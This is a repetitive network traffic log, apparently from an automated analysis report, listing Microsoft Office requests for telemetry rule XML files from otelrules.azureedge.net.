Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
